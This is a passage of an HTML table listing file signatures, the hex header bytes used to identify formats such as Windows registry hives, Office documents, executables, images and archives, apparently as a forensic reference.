file</td></tr><tr><td>dat</td><td>03</td><td>MapInfo Native Data Format</td></tr><tr><td>dat</td><td>1A 52 54 53 20 43 4F 4D 50 52 45 53 53 45 44 20 49  4D 41 47 45 20 56 31 2E 30 1A</td><td>Runtime Software disk image</td></tr><tr><td>dat</td><td>41 56 47 36 5F 49 6E 74 65 67 72 69 74 79 5F 44 61  74 61 62 61 73 65</td><td>AVG6 Integrity database file</td></tr><tr><td>DAT</td><td>43 52 45 47</td><td>Windows 9x registry hive</td></tr><tr><td>DAT</td><td>43 6C 69 65 6E 74 20 55 72 6C 43 61 63 68 65 20 4D  4D 46 20 56 65 72 20</td><td>IE History DAT file</td></tr><tr><td>DAT</td><td>45 52 46 53 53 41 56 45 44 41 54 41 46 49 4C 45</td><td>Kroll EasyRecovery Saved Recovery State file</td></tr><tr><td>DAT</td><td>49 6E 6E 6F 20 53 65 74 75 70 20 55 6E 69 6E 73 74  61 6C 6C 20 4C 6F 67 20 28 62 29</td><td>Inno Setup Uninstall Log file</td></tr><tr><td>db</td><td>00 06 15 61 00 00 00 02 00 00 04 D2 00 00 10 00</td><td>Netscape Navigator (v4) database file</td></tr><tr><td>DB</td><td>44 42 46 48</td><td>Palm Zire photo database</td></tr><tr><td>db</td><td>08</td><td>dBASE IV or dBFast configuration file</td></tr><tr><td>db3</td><td>03</td><td>dBASE III file</td></tr><tr><td>db4</td><td>04</td><td>dBASE IV data file</td></tr><tr><td>dba</td><td>00 01 42 44</td><td>Palm DateBook Archive file</td></tr><tr><td>dbx</td><td>CF AD 12 FE</td><td></td></tr><tr><td>dbx</td><td>CF AD 12 FE C5 FD 74 6F</td><td>Outlook Express</td></tr><tr><td>dci</td><td>3C 21 64 6F 63 74 79 70</td><td>AOL HTML mail file</td></tr><tr><td>dcx</td><td>3A DE 68 B1</td><td>DCX Graphic File</td></tr><tr><td>DDB</td><td>00 01 00</td><td></td></tr><tr><td>dib</td><td>42 4D</td><td>device-independent bitmap image</td></tr><tr><td>DLL</td><td>4D 5A 90</td><td></td></tr><tr><td>DMP</td><td>4D 44 4D 50 93 A7</td><td>Windows minidump file</td></tr><tr><td>DMS</td><td>44 4D 53 21</td><td>Amiga DiskMasher compressed archive</td></tr><tr><td>doc</td><td>0D 44 4F 43</td><td>DeskMate Document file</td></tr><tr><td>doc</td><td>12 34 56 78 90 FF</td><td>MS Word 6.0</td></tr><tr><td>doc</td><td>31 BE 00 00 00 AB 00 00</td><td>MS Word for DOS 6.0</td></tr><tr><td>doc</td><td>7F FE 34 0A</td><td>MS Word</td></tr><tr><td>dot; ppt; xla; ppa; pps; pot; msi; sdw; db</td><td>D0 CF 11 E0</td><td>MS Office/OLE2</td></tr><tr><td>doc; dot; xls; xlt; xla; ppt; apr ;ppa; pps; pot; msi;  sdw; db</td><td>D0 CF 11 E0 A1 B1 1A E1</td><td>MS Compound Document v1 or Lotus Approach APR file</td></tr><tr><td>DPL</td><td>4D 5A 50</td><td></td></tr><tr><td>DRV</td><td>4D 5A 16</td><td></td></tr><tr><td>drw</td><td>07</td><td>A common signature and file extension for many  drawing programs.</td></tr><tr><td>drw</td><td>01 FF 02 04 03 02</td><td>Micrografx vector graphic file</td></tr><tr><td>ds4</td><td>4D 47 58 20 69 74 70 64</td><td>Micrografix Designer 4</td></tr><tr><td>DSN</td><td>4D 56</td><td>CD Stomper Pro label file</td></tr><tr><td>dsp</td><td>23 20 4D 69 63 72 6F 73 6F 66 74 20 44 65 76 6 56C  6F 70 65 72 20 53 74 75 64 69 6F</td><td>Microsoft Developer Studio project file</td></tr><tr><td>dss</td><td>02 64 73 73</td><td>Digital Speech Standard (Olympus, Grundig, &amp;  Phillips)</td></tr><tr><td>dtd</td><td>07 64 74 32 64 64 74 64</td><td>DesignTools 2D Design file</td></tr><tr><td>dtd</td><td>3C 21 45 4E 54 49 54 59</td><td>XML DTD</td></tr><tr><td>DVR</td><td>44 56 44</td><td>DVR-Studio stream file</td></tr><tr><td>dwg</td><td>41 43 31</td><td></td></tr><tr><td>dwg</td><td>41 43 31 30</td><td>Generic AutoCAD drawingNOTES on AutoCAD file headers: The 0x41-43-31-30  (AC10) is a generic header, occupying the first four bytes in the file. The  next two bytes give further indication about the version or subtype:0x30-32 (02) — AutoCAD R2.50x30-33 (03) — AutoCAD R2.60x30-34 (04) — AutoCAD R90x30-36 (06) — AutoCAD R100x30-39 (09) — AutoCAD R11/R120x31-30 (10) — AutoCAD R13 (subtype 10)0x31-31 (11) — AutoCAD R13 (subtype 11)0x31-32 (12) — AutoCAD R13 (subtype 12)0x31-33 (13) — AutoCAD R14 (subtype 13)0x31-34 (14) — AutoCAD R14 (subtype 14)0x31-35 (15) — AutoCAD R20000x31-38 (18) — AutoCAD R20040x32-31 (21) — AutoCAD R2007</td></tr><tr><td>Enn (where nn are numbers)</td><td>45 56 46</td><td>EnCase evidence file</td></tr><tr><td>ECO</td><td>2A 50 52</td><td></td></tr><tr><td>elf</td><td>7F 45 4C 46 01 01 01 00</td><td>ELF Executable</td></tr><tr><td>emf</td><td>01 00 00 00 58 00 00 00</td><td>Extended (Enhanced) Windows Metafile Format, printer  spool file</td></tr><tr><td>eml</td><td>44 65 6C 69 76 65 72 79 2D 64 61 74 65 3A</td><td>Email</td></tr><tr><td>EML</td><td>46 72 6F 6D 20 20 20</td><td>A commmon file extension for e-mail files.  Signatures shown here are for Netscape, Eudora, and a generic signature,  respectively. EML is also used by Outlook Express and QuickMail.</td></tr><tr><td>EML</td><td>46 72 6F 6D 20 3F 3F 3F</td><td>A commmon file extension for e-mail files.  Signatures shown here are for Netscape, Eudora, and a generic signature,  respectively. EML is also used by Outlook Express and QuickMail.</td></tr><tr><td>EML</td><td>46 72 6F 6D 3A 20</td><td>A commmon file extension for e-mail files.  Signatures shown here are for Netscape, Eudora, and a generic signature,  respectively. EML is also used by Outlook Express and QuickMail.</td></tr><tr><td>EML</td><td>52 65 63</td><td></td></tr><tr><td>enc</td><td>00 5C 41 B1 FF</td><td>Mujahideen Secrets 2 encrypted file</td></tr><tr><td>enl</td><td>[32 byte offset] 40 40 40 20 00 00 40 40 40 40</td><td>EndNote Library File</td></tr><tr><td>eps</td><td>25 21 50 53</td><td>Adobe EPS File</td></tr><tr><td>eps</td><td>25 21 50 53 2D 41 64 6F 62 65</td><td>Postscript</td></tr><tr><td>eps</td><td>25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50  53 46 2D 33 20 30</td><td>Adobe encapsulated PostScript file (If this  signature is not at the immediate beginning of the file, it will occur early in  the file, commonly at byte offset 30)</td></tr><tr><td>EPS</td><td>C5 D0 D3</td><td></td></tr><tr><td>eth</td><td>1A 35 01 00</td><td>GN Nettest WinPharoah capture file</td></tr><tr><td>evt</td><td>30 00 00 00 4C 66 4C 65</td><td>Windows Event Viewer file</td></tr><tr><td>evt</td><td>03 00 00 00 C4 66 C4 56</td><td></td></tr><tr><td>EVTX</td><td>45 6C 66 46 69 6C 65 00</td><td>Windows Vista event log file</td></tr><tr><td>exe; dll; drv; vxd; sys; ocx; vbx</td><td>4D 5A</td><td>Win32 Executable</td></tr><tr><td>exe; dll; drv; vxd; sys; ocx; vbx</td><td>4D 5A</td><td>Win16 Executable</td></tr><tr><td>exe; com; 386; ax; acm; sys; dll; drv; flt; fon; ocx;  scr; lrc; vxd; cpl; x32</td><td>4D 5A</td><td>Executable File</td></tr><tr><td>EXE, DLL, OCX, OLB, IMM, IME</td><td>4D 5A 90</td><td></td></tr><tr><td>fli</td><td>00 11 AF</td><td>FLIC Animation file</td></tr><tr><td>flt</td><td>00 01 01</td><td>OpenFlight 3D file</td></tr><tr><td>FLT</td><td>4D 5A 90 00 03 00 00 00</td><td>Audition graphic filter file (Adobe)</td></tr><tr><td>FLV</td><td>46 4C 56 01</td><td>Flash video file</td></tr><tr><td>fm</td><td>3C 4D 61 6B 65 72 46 69 6C 65 20</td><td>Adobe FrameMaker file</td></tr><tr><td>fm3</td><td>00 00 1A 00 07 80 01 00</td><td>Lotus 123 v3 FMT file</td></tr><tr><td>fmt</td><td>20 00 68 00 20 0</td><td>Lotus 123 v4 FMT file</td></tr><tr><td>FNT</td><td>43 48 41</td><td></td></tr><tr><td>FON</td><td>4D 5A</td><td>Font file</td></tr><tr><td>GBC</td><td>87 F5 3E</td><td></td></tr><tr><td>gid</td><td>3F 5F 03 00</td><td>Windows Help Index File</td></tr><tr><td>GID</td><td>4C 4E 02 00</td><td>Windows Help index file</td></tr><tr><td>GIF</td><td>47 49 46 38</td><td></td></tr><tr><td>gif</td><td>47 49 46 38 37 61</td><td>Graphics interchange format file (GIF 87A)</td></tr><tr><td>gif</td><td>47 49 46 38 39 61</td><td>Graphics interchange format file (GIF89A)</td></tr><tr><td>GTD</td><td>7B 50 72</td><td></td></tr><tr><td>GX2</td><td>47 58 32</td><td>Show Partner graphics file (not confirmed)</td></tr><tr><td>gz; tar; tgz</td><td>1F 8B</td><td>Gzip Archive File</td></tr><tr><td>gz; tgz</td><td>1F 8B 08</td><td>GZ Compressed File</td></tr><tr><td>hap</td><td>91 33 48 46</td><td>HAP Archive File</td></tr><tr><td>HDMP</td><td>4D 44 4D 50 93 A7</td><td>Windows heap dump file</td></tr><tr><td>hdr</td><td>23 3F 52 41 44 49 41 4E 43 45 0A</td><td>adiance High Dynamic Range image file</td></tr><tr><td>HLP</td><td>3F 5F 03</td><td></td></tr><tr><td>hlp</td><td>3F 5F 03 00</td><td>Windows Help file</td></tr><tr><td>HLP</td><td>4C 4E 02 00</td><td>Windows Help file</td></tr><tr><td>hlp</td><td>[7 byte offset] 00 00 FF FF FF FF</td><td>Windows Help file</td></tr><tr><td>hqx</td><td>28 54 68 69 73 20 66 69 6C 65</td><td>Macintosh BinHex 4 Compressed Archive</td></tr><tr><td>hqx</td><td>28 54 68 69 73 20 66 69 6C 65 20 6D 75 73 74 20 62  65 20 63 6F 6E 76 65 72 74 65 64 20 77 69 74 68 20 42 69 6E 48 65 78 20</td><td>Macintosh BinHex 4 Compressed Archive</td></tr><tr><td>HTM</td><td>3C 21 44</td><td></td></tr><tr><td>htm; html</td><td>3C 21 44 4F 43 54</td><td>HyperText Markup Language 3</td></tr><tr><td>htm; html</td><td>3C 48 54 4D 4C 3E</td><td>HyperText Markup Language 2</td></tr><tr><td>htm; html</td><td>3C 68 74 6D 6C 3E</td><td>HyperText Markup Language 1</td></tr><tr><td>html</td><td>68 74 6D 6C 3E</td><td>HTML</td></tr><tr><td>ico</td><td>00 00 01 00 00</td><td>Icon File</td></tr><tr><td>ico</td><td>00 00 01 00 01 00 20 20</td><td>Icon File</td></tr><tr><td>IFF</td><td>46 4F 52 4D</td><td></td></tr><tr><td>IFO</td><td>44 56 44</td><td>DVD info file</td></tr><tr><td>IME</td><td>4D 5A 90</td><td></td></tr><tr><td>img</td><td>00 01 00 08 00 01 00 01 01</td><td>Ventura Publisher/GEM VDI Image Format Bitmap file</td></tr><tr><td>IMG</td><td>00 FF FF</td><td></td></tr><tr><td>IMM</td><td>4D 5A 90</td><td></td></tr><tr><td>ind</td><td>41 4F 4C 49 44 58</td><td>AOL client preferences/settings file (MAIN.IND)</td></tr><tr><td>ISO</td><td>43 44 30 30 31</td><td>ISO-9660 CD Disc Image (This signature usually  occurs at byte 8001, 8801, or 9001.)</td></tr><tr><td>ivr</td><td>2E 52 45 43</td><td>RealPlayer video file (V11 and later)</td></tr><tr><td>JAR</td><td>4A 41 52 43 53 00</td><td>JARCS compressed archive</td></tr><tr><td>jar</td><td>5F 27 A8 89</td><td>JAR Archive File</td></tr><tr><td>jpg; jpeg</td><td>FF D8 FF</td><td></td></tr><tr><td>jpg; jpe; jpeg</td><td>FF D8 FF E0 00</td><td>JPG Graphic File</td></tr><tr><td>jpg; jpe; jpeg</td><td>FF D8 FF FE 00</td><td>JPG Graphic File</td></tr><tr><td>KGB</td><td>4B 47 42 5F 61 72 63 68 20 2D</td><td>KGB archive</td></tr><tr><td>KOZ</td><td>49 44 33 03 00 00 00</td><td>Sprint Music Store audio file (for mobile devices)</td></tr><tr><td>LDB</td><td>42 49 4C</td><td></td></tr><tr><td>lha</td><td>2D 6C 68 35 2D</td><td>LHA Compressed</td></tr><tr><td>lha; lzh</td><td>[2 byte offset] 2D 6C 68</td><td>Compressed archive file</td></tr><tr><td>LHP</td><td>3F 5F 03</td><td></td></tr><tr><td>lhp</td><td>3F 5F 03 00</td><td>Windows Help File</td></tr><tr><td>lib</td><td>21 3C 61 72 63 68 3E 0A</td><td>Unix archiver (ar) files and Microsoft Program  Library Common Object File Format (COFF)</td></tr><tr><td>LIB</td><td>2A 24 20</td><td></td></tr><tr><td>LIT</td><td>49 54 4F 4C 49 54 4C 53</td><td>Microsoft Reader eBook file</td></tr><tr><td>LNK</td><td>4C 00 00</td><td></td></tr><tr><td>lnk</td><td>4C 00 00 00</td><td>Windows Shortcut (Link File)</td></tr><tr><td>lnk</td><td>4C 00 00 00 01 14 02</td><td>Windows Link File</td></tr><tr><td>LNK</td><td>4C 00 00 00 01 14 02 00</td><td>Windows shortcut file</td></tr><tr><td>log</td><td>2A 2A 2A 20 20 49 6E 73 74 61 6C 6C 61 74 69 6F 6E  20 53 74 61 72 74 65 64 20</td><td>Symantec Wise Installer log file</td></tr><tr><td>lzh</td><td>lh</td><td>Lz compression file</td></tr><tr><td>lwp</td><td>57 6F 72 64 50 72 6F</td><td>Lotus WordPro v9</td></tr><tr><td>m3u</td><td>23 45 58</td><td></td></tr><tr><td>m4a</td><td>00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00</td><td>Apple Lossless Audio Codec file</td></tr><tr><td>m4a; m4v</td><td>00 00 00 20 66 74 79 70 4D 34 41 20 00 00 00 00</td><td>QuickTime M4A/M4V file</td></tr><tr><td>manifest</td><td>3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D</td><td>Windows Visual Stylesheet XML file</td></tr><tr><td>MAR</td><td>4D 41 52 31 00</td><td>Mozilla archive</td></tr><tr><td>MAR</td><td>4D 41 52 43</td><td>Microsoft/MSN MARC archive</td></tr><tr><td>MAR</td><td>4D 41 72 30 00</td><td>MAr compressed archive</td></tr><tr><td>max</td><td>D0 CF 11</td><td></td></tr><tr><td>mdb</td><td>00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20  44 42</td><td>Microsoft Access file</td></tr><tr><td>mdb; mda; mde; mdt</td><td>53 74 61 6E 64 61 72 64 20 4A</td><td>MS Access</td></tr><tr><td>MDF</td><td>00 FF FF</td><td></td></tr><tr><td>mdf</td><td>00 FF FF FF FF FF FF FF FF FF FF 00 00 02 00 01</td><td>Alcohol 120% CD image</td></tr><tr><td>mdf</td><td>01 0F 00 00</td><td>Microsoft SQL Server 2000 database</td></tr><tr><td>MDI</td><td>45 50</td><td>Microsoft Document Imaging file</td></tr><tr><td>MDS</td><td>4D 45 44</td><td></td></tr><tr><td>MID; MIDI</td><td>4D 54 68 64</td><td>Musical Instrument Digital Interface (MIDI) sound  file</td></tr><tr><td>mkv</td><td>1A 45 DF A3 93 42 82 88 6D 61 74 72 6F 73 6B 61</td><td>Matroska stream file</td></tr><tr><td>MLS</td><td>4D 49 4C 45 53</td><td>Milestones v1.0 project management and scheduling  software (Also see “MV2C” and “MV214” signatures)</td></tr><tr><td>MLS</td><td>4D 4C 53 57</td><td>Skype localization data file</td></tr><tr><td>MLS</td><td>4D 56 32 31 34</td><td>Milestones v2.1b project management and scheduling  software (Also see “MILES” and “MV2C” signatures)</td></tr><tr><td>MLS</td><td>4D 56 32 43</td><td>Milestones v2.1a project management and scheduling  software (Also see “MILES” and “MV214” signatures)</td></tr><tr><td>MMF</td><td>4D 4D 4D 44 00 00</td><td>Yamaha Corp. Synthetic music Mobile Application  Format (SMAF) for multimedia files that can be played on hand-held devices.</td></tr><tr><td>mny</td><td>00 01 00 00 4D 53 49 53 41 4D 20 44 61 74 61 62 61  73 65</td><td>Microsoft Money file</td></tr><tr><td>MOV</td><td>00 00 0F</td><td></td></tr><tr><td>MOV</td><td>00 00 77</td><td></td></tr><tr><td>mov</td><td>6D 6F 6F 76</td><td>Quicktime</td></tr><tr><td>mov</td><td>6D 64 61 74</td><td>QuickTime Movie</td></tr><tr><td>mp</td><td>0C ED</td><td>Monochrome Picture TIFF bitmap file (unconfirmed)</td></tr><tr><td>MP3</td><td>49 44 33</td><td>MPEG-1 Audio Layer 3 (MP3) audio file</td></tr><tr><td>MP3</td><td>FF FB 50</td><td></td></tr><tr><td>mp4</td><td>00 00 00 18 66 74 79 70 33 67 70 35</td><td>MPEG-4 video files</td></tr><tr><td>MPA</td><td>00 00 01</td><td></td></tr><tr><td>mpg; mpeg</td><td>00 00 01 B3</td><td>MPEG Movie</td></tr><tr><td>mpg</td><td>00 00 01 BA</td><td>MPEG</td></tr><tr><td>MSC</td><td>3C 3F 78</td><td></td></tr><tr><td>msc</td><td>3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D 22 31 2E  30 22 3F 3E 0D 0A 3C 4D 4D 43 5F 43 6F 6E 73 6F 6C 65 46 69 6C 65 20 43 6F 6E  73 6F 6C 65 56 65 72 73 69 6F 6E 3D 22</td><td>Microsoft Management Console Snap-in Control file</td></tr><tr><td>msi</td><td>23 20</td><td>Cerius2 file</td></tr><tr><td>MSV</td><td>4D 53 5F 56 4F 49 43 45</td><td>Sony Memory Stick Compressed Voice file</td></tr><tr><td>NES</td><td>4E 45 53</td><td></td></tr><tr><td>NLS</td><td>C2 20 20</td><td></td></tr><tr><td>nri</td><td>0E 4E 65 72 6F 49 53 4F</td><td>Nero CD Compilation</td></tr><tr><td>ntf</td><td>1A 00 00</td><td>Lotus Notes database template</td></tr><tr><td>nsf; ntf</td><td>1A 00 00 03 00 00</td><td>Lotus Notes Database/Template</td></tr><tr><td>nsf</td><td>1A 00 00 03 00 00 11 00</td><td>Notes Database</td></tr><tr><td>nsf</td><td>1A 00 00 04 00 00</td><td>Lotus Notes database</td></tr><tr><td>ntf</td><td>30 31 4F 52 44 4E 41 4E 43 45 20 53 55 52 56 45 59  20 20 20 20 20 20 20</td><td>National Transfer Format Map File</td></tr><tr><td>obj</td><td>4C 01</td><td>Microsoft Common Object File Format (COFF)  relocatable object code file for an Intel 386 or later/compatible processors</td></tr><tr><td>OCX</td><td>4D 5A</td><td>ActiveX or OLE Custom Control</td></tr><tr><td>OCX</td><td>4D 5A 90</td><td></td></tr><tr><td>OLB</td><td>4D 5A</td><td>OLE object library</td></tr><tr><td>OLB</td><td>4D 5A 90</td><td></td></tr><tr><td>org; pfc</td><td>41 4F 4C 56 4D 31 30 30</td><td>AOL personal file cabinet (PFC) file</td></tr><tr><td>pak</td><td>1A 0B</td><td>Compressed archive file</td></tr><tr><td>PAT</td><td>47 46 31 50 41 54 43 48</td><td>Advanced Gravis Ultrasound patch file</td></tr><tr><td>PAT</td><td>47 50 41 54</td><td>GIMP (GNU Image Manipulation Program) pattern file</td></tr><tr><td>PBK</td><td>5B 41 44</td><td></td></tr><tr><td>PCB</td><td>17 A1 50</td><td></td></tr><tr><td>PCS</td><td>0A 05 01</td><td></td></tr><tr><td>pcx</td><td>0A nn 01 01</td><td>ZSOFT Paintbrush file(where nn = 0x02, 0x03, or  0x05)</td></tr><tr><td>pcx</td><td>0A 05 01 08</td><td>PC Paintbrush(often associated with Quake Engine  games)</td></tr><tr><td>pdb</td><td>[11 byte offset] 00 00 00 00 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 00 00 00 00</td><td>Palmpilot Database/Document File</td></tr><tr><td>PDF</td><td>25 50 44</td><td></td></tr><tr><td>pdf; fdf</td><td>25 50 44 46</td><td>Adobe Portable Document Format and Forms Document  file</td></tr><tr><td>pdf</td><td>25 50 44 46 2D 31 2E</td><td>Adobe Acrobat</td></tr><tr><td>PDG</td><td>48 48 02</td><td></td></tr><tr><td>pf</td><td>11 00 00 00 53 43 43 41</td><td>Windows prefetch file</td></tr><tr><td>pic</td><td>01 00 00 00 01</td><td>Unknown type picture file</td></tr><tr><td>PJT</td><td>00 00 07</td><td></td></tr><tr><td>PLL</td><td>24 53 6F</td><td></td></tr><tr><td>PNG</td><td>89 50 4E</td><td></td></tr><tr><td>PNG</td><td>89 50 4E 47</td><td></td></tr><tr><td>png</td><td>89 50 4E 47 0D 0A</td><td>PNG Image File</td></tr><tr><td>png</td><td>89 50 4E 47 0D 0A 1A 0A</td><td>PNG Image File</td></tr><tr><td>PPC</td><td>52 65 63</td><td></td></tr><tr><td>PPT</td><td>D0 CF 11</td><td></td></tr><tr><td>ppt</td><td>[512 byte offset] 00 6E 1E F0</td><td>PowerPoint presentation subheader (MS Office)</td></tr><tr><td>ppt</td><td>[512 byte offset] 0F 00 E8 03</td><td>PowerPoint presentation subheader (MS Office)</td></tr><tr><td>PPZ</td><td>4D 53 43 46</td><td>Powerpoint Packaged Presentation</td></tr><tr><td>prc</td><td>42 4F 4F 4B 4D 4F 42 49</td><td>Palmpilot resource file</td></tr><tr><td>PRG</td><td>23 44 45</td><td></td></tr><tr><td>ps</td><td>25 21 50 53 2D 41 64 6F 62 65</td><td>Postscript</td></tr><tr><td>PSD</td><td>38 42 50</td><td></td></tr><tr><td>psd</td><td>38 42 50 53</td><td>Adobe Photoshop image file</td></tr><tr><td>psp</td><td>7E 42 4B 00</td><td>PaintShop Pro Image File</td></tr><tr><td>pst</td><td>21 42 44 4E</td><td>Microsoft Outlook Personal Folder file</td></tr><tr><td>pwl</td><td>E3 82 85 96</td><td>Windows Password</td></tr><tr><td>qbb</td><td>45 86 00 00 06 00</td><td>Intuit QuickBooks Backup file</td></tr><tr><td>qdf</td><td>AC 9E BD 8F</td><td>Quicken</td></tr><tr><td>qph</td><td>03 00 00 00</td><td>Quicken price history file</td></tr><tr><td>qt</td><td>6D 64 61 74</td><td>Quicktime Movie File</td></tr><tr><td>qxd</td><td>00 00 49 49 58 50 52</td><td>Quark Express document (Intel &amp; Motorola,  respectively)</td></tr><tr><td>qxd</td><td>00 00 4D 4D 58 50 52</td><td></td></tr><tr><td>ra</td><td>2E 52 4D 46 00 00 00 12 00</td><td>Real Audio file</td></tr><tr><td>ra; ram</td><td>2E 72 61 FD</td><td>Real Audio File</td></tr><tr><td>ra</td><td>2E 72 61 FD 00</td><td>RealAudio streaming media file</td></tr><tr><td>RAR</td><td>52 61 72</td><td></td></tr><tr><td>rar</td><td>52 61 72 21</td><td>RAR Archive File</td></tr><tr><td>RAW</td><td>06 05 00</td><td></td></tr><tr><td>reg</td><td>52 45 47 45 44 49 54 34</td><td></td></tr><tr><td>rgb</td><td>01 DA 01 01 00 03</td><td>Silicon Graphics RGB Bitmap</td></tr><tr><td>RM</td><td>2E 52 4D</td><td></td></tr><tr><td>rm; rmvb</td><td>2E 52 4D 46</td><td>Real Media streaming media file</td></tr><tr><td>rpm</td><td>ED AB EE DB</td><td>RPM Archive File</td></tr><tr><td>RTD</td><td>43 23 2B 44 A4 43 4D A5 48 64 72</td><td>RagTime document file</td></tr><tr><td>RTF</td><td>7B 5C 72</td><td></td></tr><tr><td>rtf</td><td>7B 5C 72 74 66</td><td>Rich Text Format File</td></tr><tr><td>sav</td><td>24 46 4C 32 40 28 23 29 20 53 50 53 53 20 44 41 54  41 20 46 49 4C 45</td><td>SPSS Data file</td></tr><tr><td>SBV</td><td>46 45 44 46</td><td>(Unknown file type)</td></tr><tr><td>SCH</td><td>2A 76 65</td><td></td></tr><tr><td>scm</td><td>80 53 43</td><td></td></tr><tr><td>SH3</td><td>48 48 47 42 31</td><td>Harvard Graphics presentation file</td></tr><tr><td>SHD</td><td>4B 49 00 00</td><td>Windows 9x printer spool file</td></tr><tr><td>sit</td><td>53 49 54 21</td><td>Stuffit v1 Archive File</td></tr><tr><td>sit</td><td>53 74 75 66 66 49 74</td><td>Stuffit v5 Archive File</td></tr><tr><td>sle</td><td>3A 56 45 52 53 49 4F 4E</td><td>Surfplan kite project file</td></tr><tr><td>sle</td><td>41 43 76</td><td>teganos Security Suite virtual secure drive</td></tr><tr><td>sly; srt; slt</td><td>53 52 01 00</td><td>Sage sly.or.srt.or.slt</td></tr><tr><td>SMD</td><td>00 FF FF</td><td></td></tr><tr><td>snm</td><td>00 1E 84 90 00 00 00 00</td><td>Netscape Communicator (v4) mail folder</td></tr><tr><td>SNP</td><td>4D 53 43 46</td><td>Microsoft Access Snapshot Viewer file</td></tr><tr><td>sol</td><td>00 BF</td><td>Adobe Flash shared object file (e.g., Flash cookies)</td></tr><tr><td>spl</td><td>00 00 01 00</td><td>Windows NT/2000/XP printer spool file</td></tr><tr><td>SCR</td><td>4D 5A</td><td>Screen saver</td></tr><tr><td>SUB</td><td>FF FF FF</td><td></td></tr><tr><td>SWF</td><td>43 57 53</td><td>Shockwave Flash file (v5+)</td></tr><tr><td>SWF</td><td>46 57 53</td><td>Macromedia Shockwave Flash player file</td></tr><tr><td>sxc</td><td>calc</td><td>OpenOffice Calc</td></tr><tr><td>sxd</td><td>draw</td><td>OpenOffice Draw</td></tr><tr><td>sxi</td><td>impress</td><td>OpenOffice Impress</td></tr><tr><td>sxm</td><td>math</td><td>OpenOffice Math</td></tr><tr><td>sxw</td><td>writer</td><td>OpenOffice Writer</td></tr><tr><td>syw</td><td>41 4D 59 4F</td><td>Harvard Graphics symbol graphic</td></tr><tr><td>TAG</td><td>00 00 02</td><td></td></tr><tr><td>tar; cpio</td><td>30 37 30 37 30 37</td><td>CPIO Archive File</td></tr><tr><td>tar.z</td><td>1F 9D 90</td><td>Compressed tape archive file</td></tr><tr><td>tga</td><td>00 00 10 00 00</td><td>RLE压缩的前5字节</td></tr><tr><td>TGA</td><td>00 00 02</td><td></td></tr><tr><td>tga</td><td>00 00 02 00 00</td><td>未压缩的前5字节</td></tr><tr><td>TIF; TIFF</td><td>49 20 49</td><td>Tagged Image File Format file</td></tr><tr><td>tif; tiff</td><td>49 49 2A</td><td>TIFF (Intel)</td></tr><tr><td>tif; tiff</td><td>49 49 2A 00</td><td>Tagged Image File Format file (little endian, i.e.,  LSB first in the byte; Intel)</td></tr><tr><td>TIF; TIFF</td><td>4D 4D 00 2A</td><td>Tagged Image File Format file (big endian, i.e., LSB  last in the byte; Motorola)</td></tr><tr><td>tif; tiff</td><td>4D 4D 2A</td><td>TIFF (Motorola)</td></tr><tr><td>TIF; TIFF</td><td>4D 4D 00 2B</td><td>BigTIFF files; Tagged Image File Format files &gt;4  GB</td></tr><tr><td>TLB</td><td>4D 53 46 54 02 00 01 00</td><td>OLE, SPSS, or Visual C++ type library file</td></tr><tr><td>tr1</td><td>01 10</td><td>Novell LANalyzer capture file</td></tr><tr><td>TST</td><td>00 01 00</td><td></td></tr><tr><td>TTF</td><td>00 01 00</td><td></td></tr><tr><td>ufa</td><td>55 46 41</td><td>UFA Archive File</td></tr><tr><td>VBX</td><td>4D 5A</td><td>VisualBASIC application</td></tr><tr><td>VCD</td><td>45 4E 54 52 59 56 43 44 02 00 00 01 02 00 18 58</td><td>VideoVCD (GNU VCDImager) file</td></tr><tr><td>vcf</td><td>42 45 47 49 4E 3A 56 43 41 52 44 0D 0A</td><td>vCard file</td></tr><tr><td>vob</td><td>00 00 01 BA</td><td>DVD Video Movie File (video/dvd, video/mpeg)</td></tr><tr><td>VXD, 386</td><td>4D 5A</td><td>Windows virtual device drivers</td></tr><tr><td>WAV</td><td>52 49 46</td><td></td></tr><tr><td>wav</td><td>57 41 56 45</td><td>Wave</td></tr><tr><td>wav</td><td>57 41 56 45 66 6D 74</td><td>Wave Files</td></tr><tr><td>wb2</td><td>00 00 02 00</td><td>QuattroPro for Windows Spreadsheet file</td></tr><tr><td>wb3</td><td>[24 byte offset] 3E 00 03 00 FE FF 09 00 06</td><td>Quatro Pro for Windows 7.0 Notebook file</td></tr><tr><td>wk1; wks</td><td>20 00 60 40 60</td><td>Lotus 123 v1 Worksheet</td></tr><tr><td>wk1</td><td>00 00 02 00 06 04 06 00 08 00 00 00 00 00</td><td>Lotus 1-2-3 spreadsheet (v1) file</td></tr><tr><td>wk3</td><td>00 00 1A 00 00 10 04 00</td><td>Lotus 123 spreadsheet (v3) file</td></tr><tr><td>wk4; wk5</td><td>00 00 1A 00 02 10 04 00</td><td>Lotus 1-2-3 spreadsheet (v4, v5) file</td></tr><tr><td>wks</td><td>0E 57 4B 53</td><td>DeskMate Worksheet</td></tr><tr><td>WMA</td><td>30 26 B2</td><td></td></tr><tr><td>wmf</td><td>01 00 09 00</td><td>Graphics Metafile</td></tr><tr><td>wmf</td><td>01 00 09 00 00 03</td><td>Windows Metadata file (Win 3.x format)</td></tr><tr><td>wmf</td><td>02 00 09 00</td><td>Graphics Metafile</td></tr><tr><td>wmf</td><td>D7 CD C6 9A</td><td>Windows Meta File</td></tr><tr><td>WMV</td><td>30 26 B2</td><td></td></tr><tr><td>wp</td><td>FF 57 50 43</td><td>WordPerfect v5 or v6</td></tr><tr><td>wpd</td><td>FF 57 50 43</td><td>WordPerfect</td></tr><tr><td>wpg</td><td>FF 57 50 47</td><td>WordPerfect Graphics</td></tr><tr><td>wri</td><td>31 BE</td><td>Microsoft Write file</td></tr><tr><td>WRI</td><td>31 BE 00</td><td></td></tr><tr><td>wri</td><td>32 BE</td><td>Microsoft Write file</td></tr><tr><td>ws</td><td>1D 7D</td><td>WordStar Version 5.0/6.0 document</td></tr><tr><td>XBE</td><td>58 42 45</td><td></td></tr><tr><td>xdr</td><td>3C</td><td>BizTalk XML-Data Reduced Schema file</td></tr><tr><td>xls</td><td>09 02 06 00 00 00 10 00 B9 04 5C 00</td><td>MS Excel v2</td></tr><tr><td>xls</td><td>09 04 06 00 00 00 10 00 F6 05 5C 00</td><td>MS Excel 